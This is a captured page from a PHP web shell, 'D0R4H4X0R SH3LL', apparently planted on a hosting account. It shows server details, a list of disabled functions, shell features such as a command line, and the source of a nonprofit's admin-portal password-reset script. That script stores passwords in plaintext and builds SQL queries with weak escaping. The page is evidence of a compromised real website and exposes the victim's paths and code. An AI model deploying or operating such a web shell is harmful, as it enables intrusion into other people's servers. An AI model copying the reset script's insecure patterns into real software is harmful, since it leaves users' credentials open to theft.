D0R4H4X0R SH3LL
Server Information
Server: |
LiteSpeed |
System: |
Linux ezra.momentumhosting.cloud 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64 |
User: |
equalcompa ( 1022 ) |
PHP Version: |
8.2.28 |
Python Version: |
Python is not available |
Disabled Functions: | Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, dl, exec, passthru, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_open, shell_exec, show_source, system |
Features
Command Line
Find Longest Directory Path
Scan New PHP Files
Current File : /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/reset.php
<!DOCTYPE html>
<html lang="en" oncontextmenu="return false;">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="stylesheet" href="style.css" />
<link rel="icon" href="../wp-content/uploads/2021/08/rlogo.jpg" sizes="32x32" />
<link rel="icon" href="../wp-content/uploads/2021/08/rlogo.jpg" sizes="192x192" />
<link rel="apple-touch-icon" href="../logo.png" />
<meta name="msapplication-TileImage" content="../logo.png" />
<title>Equal</title>
<style>
/* UTILITIES */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
a {
text-decoration: none;
}
li {
list-style: none;
}
/* NAVBAR STYLING STARTS */
.navbar {
display: flex;
align-items: center;
justify-content: space-between;
padding: 20px;
background-color: black;
color: #fff;
}
.nav-links a {
color: #fff;
}
/* LOGO */
.logo {
font-size: 32px;
}
/* NAVBAR MENU */
.menu {
display: flex;
gap: 1em;
font-size: 18px;
}
.menu li:hover {
background-color: #4c9e9e;
border-radius: 5px;
transition: 0.3s ease;
}
.menu li {
padding: 5px 14px;
}
/* DROPDOWN MENU */
.services {
position: relative;
}
.dropdown {
background-color: rgb(1, 139, 139);
padding: 1em 0;
position: absolute; /*WITH RESPECT TO PARENT*/
display: none;
border-radius: 8px;
top: 35px;
}
.dropdown li + li {
margin-top: 10px;
}
.dropdown li {
padding: 0.5em 1em;
width: 8em;
text-align: center;
}
.dropdown li:hover {
background-color: #4c9e9e;
}
.services:hover .dropdown {
display: block;
}
/*RESPONSIVE NAVBAR MENU STARTS*/
/* CHECKBOX HACK */
/*HAMBURGER MENU*/
.hamburger {
display: none;
font-size: 24px;
user-select: none;
}
/* APPLYING MEDIA QUERIES */
@media (max-width: 768px) {
.menu {
display:none;
position: absolute;
background-color:black;
right: 0;
left: 0;
text-align: center;
padding: 16px 0;
}
.menu li:hover {
display: inline-block;
background-color:#4c9e9e;
transition: 0.3s ease;
}
.menu li + li {
margin-top: 12px;
}
input[type=checkbox]:checked ~ .menu{
display: block;
}
.hamburger {
display: block;
}
.dropdown {
left: 50%;
top: 30px;
transform: translateX(35%);
}
.dropdown li:hover {
background-color: #4c9e9e;
}
}
</style>
</head>
<body style="background:#F7F7F7;">
<br><br><br>
<div class="page-content--bgf7">
<!-- WELCOME-->
<section class="welcome p-t-10" style="margin:20px;">
<div class="container">
<div class="row">
<div class="col-md-12">
<center><h1 class="title-4">Reset Password
</h1></center><br><br>
<hr class="line-seprate">
</div>
</div>
</div>
</section>
<br>
<!-- END WELCOME-->
<section class="p-t-20">
<div class="container">
<div class="row">
<div class="col-md-12"><center>
<style>
/* Float four columns side by side */
input,textarea,select {
padding: 10px;
border-radius:10px;
background:white;
width:80%;
border:1px solid black;
margin-top:20px;
}
.btn-black{
background:black;
color:white;
padding:10px;
border-radius:10px;
cursor:pointer;
width:80%;
border:0;
font-size:18px;
}
.btn-black:hover{
background:red;
}
td{
padding:10px;
}
</style>
<?php include('ant.php');
?>
<form method="post" class="wpcf7-form init" >
<div class="wees mbt ccol-md-6 col-sm-6 col-xs-12">
<span class="wpcf7-form-control-wrap" data-name="Email"><input type="password" name="Email" maxlength="50" class="wpcf7-form-control wpcf7-text wpcf7-email wpcf7-validates-as-required wpcf7-validates-as-email" required aria-required="true" aria-invalid="false" placeholder="New Password*" /></span>
</div>
<div class="wees mbt ccol-md-6 col-sm-6 col-xs-12">
<span class="wpcf7-form-control-wrap" data-name="phone"><input type="password" name="tel" maxlength="40" class="wpcf7-form-control wpcf7-text wpcf7-tel wpcf7-validates-as-required wpcf7-validates-as-tel" aria-required="true" aria-invalid="false" placeholder="Confirm Password*" /></span>
</div>
<div class="wees col-md-12 col-sm-12 col-xs-12">
<input type="submit" value="Change Password" name="btnco" class="wpcf7-form-control has-spinner wpcf7-submit btn-black" />
</div>
<?php
if(isset($_POST['btnco'])){
$email=str_replace("'","\'","".$_POST['Email'].""); $phone=str_replace("'","\'","".$_POST['tel']."");
$emai="no-reply@mail.com";
$ck=mysqli_query($co,"select * from login where password='".$name."'"); $ck1=mysqli_num_rows($ck); $ck2=$ck1; $ck3=mysqli_fetch_assoc($ck);
if($email == $phone){
if(mysqli_query($co,"update login set password = '".$phone."' where id='1'")){
$to = 'info@equalcompassion.org';
$subject = 'Admin Portal Password Changed';
$message = 'Greetings, Admin Portal Password has been changed now.
System is sending you this alert message for security reasons and incase it is not you who has changed the password please contact the Admin right away or reset the password.
';
$headers = 'From: '.$emai.' <'.$emai.'>' . "\r\n" .
'Reply-To: '.$emai.'' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
if(mail($to, $subject, $message, $headers)){
echo"<script>alert('Password has Been Changed sucessfully.');</script>";
echo"<script>window.location.href='logout.php';</script>";
}else{
echo"<script>alert('Error 1. Something went wrong try again later.');</script>";
echo"<script>window.location.href='reset.php';</script>";
}
}else{
echo"<script>alert('Error!! Password NOT changed.');</script>";
echo"<script>window.location.href='reset.php';</script>";
}
}else{
echo"<script>alert('Error!! New Password and Confirm Password are not matching.');</script>";
echo"<script>window.location.href='reset.php';</script>";
}
}
?>
</form>
</div>
</div>
</div>
</div>
</section>
<br>
</body>
</html>
D0R4H4X0R SH3LL